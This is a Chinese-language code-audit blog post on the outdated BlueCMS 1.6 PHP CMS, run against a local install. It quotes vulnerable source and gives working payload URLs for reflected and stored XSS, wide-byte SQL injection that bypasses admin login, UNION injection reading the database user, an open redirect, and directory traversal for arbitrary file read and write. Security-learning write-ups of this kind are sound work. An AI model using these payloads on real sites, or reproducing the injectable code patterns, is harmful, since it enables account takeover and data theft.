BlueCMS 1.6 代码审计
本文最后更新于 66 天前,其中的信息可能已经有所发展或是发生改变。

好久没审计了。

环境安装

开源系统,也很久没更新了,在网上可以找到源码。

两个坑点,第一个是PHP版本必须是5.x,我用了5.4.45,不然打开后会白屏。

如果打开之后还是白屏,删除\uploads\install\compile中的php文件。

大部分白屏都是PHP版本的问题,改了就好了。

检测环境:保证所有目录可读可写即可,Windows的phpstudy只要不装在系统文件夹下都没事,Linux需要加个777权限。

参数配置,数据库配置连得上本机数据库就行。

填完又白屏了,看一下数据库,已经生成了

这个是否已经可以访问bluecms了。

文件结构

主要目录在Uploads下

├─admin # 后台管理员页面
├─api
├─data # 配置文件、备份、上传文件目录等
├─images
├─include # 公共文件,全局过滤、公共函数等
├─install # 下载文件配置
├─js
├─templates # 模板
└─uc_client

配置文件中,定义了字符集编码为gb2312,可能存在宽字节注入。

所有文件几乎都包含了/include/common.inc.php,主要做的事情有身份认证、定义全局变量、输入过滤、IP检测,其中输入过滤如下:

if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

其中没有过滤$_SERVER变量,deep_addslashes()定义在/include/common.fun.php中。

function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}
addslashes()定义在PHP中,负责在每个预定义的字符前添加反斜杠的字符串。

/include/common.inc.php在获取IP时调用了getIp(),用来获取IP地址:

/**
  *
  * 获取用户IP
  *
  */
function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{ //获取客户端用代理服务器访问时的真实ip 地址
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	elseif (getenv('HTTP_X_FORWARDED')) 
	{ 
		$ip = getenv('HTTP_X_FORWARDED');
	}
	elseif (getenv('HTTP_FORWARDED_FOR'))
	{
		$ip = getenv('HTTP_FORWARDED_FOR'); 
	}
	elseif (getenv('HTTP_FORWARDED'))
	{
		$ip = getenv('HTTP_FORWARDED');
	}
	else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}

刚才已经知道了,对$_SERVER变量没有进行过滤,所以如果这里存在查询语句拼接等,可能存在安全隐患。

反射型XSS

第一处

整个CMS很多地方都没有采取任何转义过滤,反射型XSS普遍存在于每一个交互的地方。

结合SQL的XSS攻击:

elseif($act == 'del')
{
 	if(!$db->query("DELETE FROM ".table('ad_phone')." WHERE id=".$_GET['id']))
 	{
 		showmsg('删除电话广告出错', true);
 	}
 	else
 	{
 		showmsg('删除电话广告成功', 'ad_phone.php', true);
 	}
}

payload:

http://localhost/bluecms/uploads/admin/ad_phone.php?act=del&id=1%20or%20%3Cscript%3Ealert(1);%3C/script%3E

追踪如下,在query()函数中进行字符串拼接,接着调用dbshow函数

输出报错信息,这里的语句直接进行拼接,没有进行任何转义。

类似的报错XSS原理在用户删除等删除处都存在。

第二处

在uploads/user.php目录下

当传入参数为act=do_login时,存在反射型漏洞:

这个不好找,算是一种模板注入,当传入参数为act=reg&from=1时:

回显中有两个hidden input,利用拼接执行XSS

http://localhost/bluecms/uploads/user.php?act=reg&from=%22%3E%3Cimg%20src=%22%22%20onerror=alert(1)%3E#

大多反射型利用到的都是dbshow或者showmessage函数。

存储型XSS

这种就比较多了,找全也比较难。先到user.php中尝试注册新用户,观察数据流向。

分别对账号密码做了长度验证,并进行了账号查重。

初步发现对邮箱没有任何进行过滤,在注册功能向邮箱插入XSS。

有前端验证,Toggle javascript一开就完事了。

永久型XSS到手。

SQL注入

这里的洞多的离谱,找不全。

宽字节注入登录admin

login.php调用check_admin(),这里的查询语句使用了字符串拼接的模式,存在安全隐患:

function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

这里POST的值中的单引号被反斜杠转义,由于MySQL实例化的类为gbk编码,在gbk中,两个字符会被当做一个汉字来进行转义,这里存在宽字节注入。

    function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
    	$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
    	if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
    		$this->dbshow('Can not connect to Mysql!');
    	} else {
    		if($this->dbversion() > '4.1'){
    			mysql_query( "SET NAMES gbk");
    			if($this->dbversion() > '5.0.1'){
    				mysql_query("SET sql_mode = ''",$this->linkid);
    			}
    		}
    	}
    	if($dbname){
    		if(mysql_select_db($dbname, $this->linkid)===false){
    			$this->dbshow("Can't select MySQL database($dbname)!");
    		}
    	}
    }

尝试抓包

绕过身份验证,登录成功。

ad_js.php的id注入

这里比较好利用,没有引号闭合,所以转义函数无效。

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
	echo 'Error!';
	exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

这里回显被注释了,要看源码拿信息:

view-source:http://localhost/bluecms/uploads/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,user();%23

在多个地方都有类似的利用点。

任意URL跳转

这个洞以前还没接触过类似的,在uploads/user.php,是一种反向跳转。

//uploads/user.php 16
$from = !empty($_REQUEST['from']) ? $_REQUEST['from'] : '';
//uploads/user.php 66
$from = !empty($from) ? base64_decode($from) : 'user.php';
//uploads/user,php 112
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

$_REQUEST获取的参数$from经过base64解码后作为URL进行跳转,而$from参数可控。

任意文件读取修改

在模板修改这里提供了文件修改的功能,作为一个老CTF混子,猜测这里一定有文件修改,我们点进一个编辑看一下:

用来控制文件的参数为tql_name,如果我们用目录穿越来读取文件呢?

成功找到了文件,但是无法获得文件具体信息,经过尝试,发现读取非html文件时,只能对文件进行修改,而不能读取。

白盒审计,看一下逻辑。

规定了默认路径,但是允许字符串拼接,对传入的参数没有任何过滤,从而实现目录穿越。

文件保存也是同一原理,可以保存任何内容。

参考

代码审计day1-bluecms_v1.6.md

bluecms 1.6 审计入门

初审blucms(入坑)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇